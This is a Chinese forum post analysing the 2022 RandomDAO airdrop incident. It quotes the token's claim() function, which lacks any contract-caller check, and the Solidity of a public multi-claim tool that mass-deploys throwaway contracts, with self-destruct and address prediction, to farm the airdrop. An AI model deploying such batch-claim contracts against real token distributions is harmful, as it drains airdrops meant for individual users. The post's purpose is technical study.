|
|
楼主 |
发表于 2022-4-1 15:16:29
|
显示全部楼层
RandomDAO事件及其分析
原文发布在 https://github.com/33357/smartcontract-apps这是一个面向中文社区，分析市面上智能合约应用的架构与实现的仓库。欢迎关注开源知识项目！
RandomDAO事件及其分析
事件概要
2022年2月4日，12岁中国深圳小学生黄振（网传名）在 B站 和 twitter 上发布了自己的solidity教学视频，发布了自己的教学项目 RandomDAO。随着一些大V的转发，这个项目引起了币民们的注意。直到2022年2月8日，已经有超过47000个地址领取了他发布的空投代币 RND，并曾达到ETH消耗gas费排行第二。
事件分析
由于这是一个偏向技术的社群，因此我一般只关注技术方面的特点。黄振同学（暂且先这么称呼着）发布的 Random 合约只是一个普通的 ERC20 合约加一个空投逻辑，本来是不值得开篇文章说的。但是区块链网络上出现了一个随之而生的突变：https://github.com/33357/airdrop_multi_claim 这个合约实现了对 Random 合约空投的批量获取，并借此获取了大量收益 https://etherscan.io/tx/0xfc1d56 ... 85814b3cf49557967ff（保守估计30多个ETH）, 这就非常值得我来好好研究一下它的实现逻辑了。
合约分析
操作原理
我们看到 https://etherscan.io/address/0x1 ... 4744646AE46b29#code 上的获取空投函数是这样写的
function claim() external{
if( (uint32(block.timestamp)-release_time) <= 360 days && is_claim[msg.sender] == false ){
is_claim[msg.sender] = true;
yet_claim_people.push(msg.sender);
_mint(msg.sender,return_claim_number());
}
}
这里对claim函数的检查只有两个：
(uint32(block.timestamp)-release_time) <= 360 days，领取空投的时间需要在合约发布之后的360天之内。
is_claim[msg.sender] == false，领取过的地址不能再领取。但是这里并没有拒绝合约的调用。也就是说，使用合约地址进行claim是完全可以的，这就为接下来的操作提供了基础。
批量创建合约实现批量领取空投
multi_claim_with_selfdestruct.txt
在 multi_claim_with_selfdestruct.txt 文件中，可以看到主方法call的实现
function call(uint256 times) public {
for(uint i=0;i<times;++i){
new claimer(contra);
}
}
这里通过for循环实现了批量创建合约claimer。
接下来看claimer合约的实现
contract claimer{
constructor(address contra){
airdrop(contra).claim();
uint256 balance = airdrop(contra).balanceOf(address(this));
airdrop(contra).transfer(address(tx.origin), balance);
selfdestruct(payable(address(msg.sender)));
}
}
在claimer合约初始化函数constructor中，调用了airdrop合约的claim方法，而airdrop合约就是上面提到的RND代币空投合约。在获取RND代币的空投之后，claimer合约会将RND代币转给调用链发起人tx.origin，最后调用selfdestruct自毁合约。（这里自毁合约的逻辑没有搞清楚，据说自毁合约可以返还gas费，不知真假）
multi_claim.sol
在multi_claim.sol 文件中，可以看到它的实现逻辑和 multi_claim_with_selfdestruct.txt 是一样的，但是多了一个额外的函数 addressto
function addressto(address _origin, uint256 _nonce) internal pure returns (address _address) {
bytes memory data;
if(_nonce == 0x00) data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, bytes1(0x80));
else if(_nonce <= 0x7f) data = abi.encodePacked(bytes1(0xd6), bytes1(0x94), _origin, uint8(_nonce));
else if(_nonce <= 0xff) data = abi.encodePacked(bytes1(0xd7), bytes1(0x94), _origin, bytes1(0x81), uint8(_nonce));
else if(_nonce <= 0xffff) data = abi.encodePacked(bytes1(0xd8), bytes1(0x94), _origin, bytes1(0x82), uint16(_nonce));
else if(_nonce <= 0xffffff) data = abi.encodePacked(bytes1(0xd9), bytes1(0x94), _origin, bytes1(0x83), uint24(_nonce));
else data = abi.encodePacked(bytes1(0xda), bytes1(0x94), _origin, bytes1(0x84), uint32(_nonce));
bytes32 hash = keccak256(data);
assembly {
mstore(0, hash)
_address := mload(0)
}
}
据我所知，这个函数实现了对部署下一个合约地址的预测，在claimer合约当中
contract claimer{
constructor(address selfAdd, address receiver){
address contra = address(0xbb2A2D70d6a4B80FA2C4d4Ca43a8525da430196c);
airdrop(contra).claim();
uint256 balance = airdrop(contra).balanceOf(selfAdd);
require(balance>0,'Oh no');
airdrop(contra).transfer(receiver, balance);
}
}
在uint256 balance = airdrop(contra).balanceOf(selfAdd)中，selfAdd是预测出来的合约合约地址，所以这里能获取正确的balance。这个claimer合约移除了selfdestruct函数。
疑问
在README.md文件中，说 multi_claim合约实现了高效撸（一次交易claim多次）没有EOA机制的合约 对此我没有能够完全理解，特别是做地址预测的目的和 selfdestruct 的使用，希望有知道的大佬们告诉一下，好填完这个坑。 |
|
发表于 2022-3-14 09:03:18
